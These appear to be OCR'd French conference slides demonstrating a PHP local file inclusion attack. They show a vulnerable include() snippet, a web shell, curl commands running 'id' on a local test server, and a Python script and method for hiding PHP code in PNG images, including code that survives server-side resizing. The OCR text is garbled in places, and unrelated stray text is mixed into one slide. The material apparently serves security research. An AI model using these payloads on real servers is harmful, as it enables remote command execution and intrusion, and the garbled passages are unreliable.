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Code web vulnérable

<?php
if(isset($_GET['page))
{

include($ GET['page");
}

?>
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Exploitation classique

<?php system($_GET['cmd']); ?>

Exploitation

curl 'nttp://127.0.0.1/sstic2017/Ifi.php?
page=php.txt&cmd=id’

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd t:sO
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Vers la vral vie

nload de script PHP impossible

nload d’'images, |pg et png, possible
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Exploitation via PNG 1

cat image.png shellcode.png > mechant.png
D et T eravis curl 'http://127.0.0.1/sstic2017/Ifi.php?

arésenter les devnieres evolutions de |:
sevsion 47,28 de PhotoRec, qui permel page:meChant_png&Cmd:id'
de récupérer les données de cassette:
sour Amstrad CPC 444 el qui en plus

supporte le  systeme de fichier des
Wy Atavi ST, et

o

marhinec aiijg
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Exploitation via PNG 2

#!/usr/bin/python

from PIL import Image

from PIL import PnglmagePlugin

Im = Image.new("RGB", (20,20), "Black")

meta = PnglmagePlugin.Pnginfo()

meta.add_text("foo", '<?php system($_GET["cmd"]);?>")

iIm.save("mechant.png", "png", pnginfo=meta)

curl 'http://127.0.0.1/sstic2017/lfi.php?page=mechant.png&cmd=id’
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|.a vral vie

Le fichier uploadé est resizé par le serveur avec la fonction
imagecopyresampled(), cela supprime le code PHP :

- plus de données en fin de fichier
- plus de commentaire

Impossible d’avoir du code PHP ?

NON !
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PNG géneéré

Code PHP : <?PHP $_GET[0]($_POST[1]);?>

php generate_png.php

python png_double.py
hexdump -C 110x110.png
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PNG uploadeé et resize par le
serveur




Exploitation réussie !

curl 'http://127.0.0.1/sstic2017/1lf1i.php?
page=realpng.png&O=system' --data 1=id

PNG

IHDR7 '®E pHYs®®&+GIDAThGcGuid=48 (apache) gid=48(apache)
groups=48(apache) context=system u:system r:httpd t:s0

PS : Bonne féte Vincent!
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PNG uploadé apres resize
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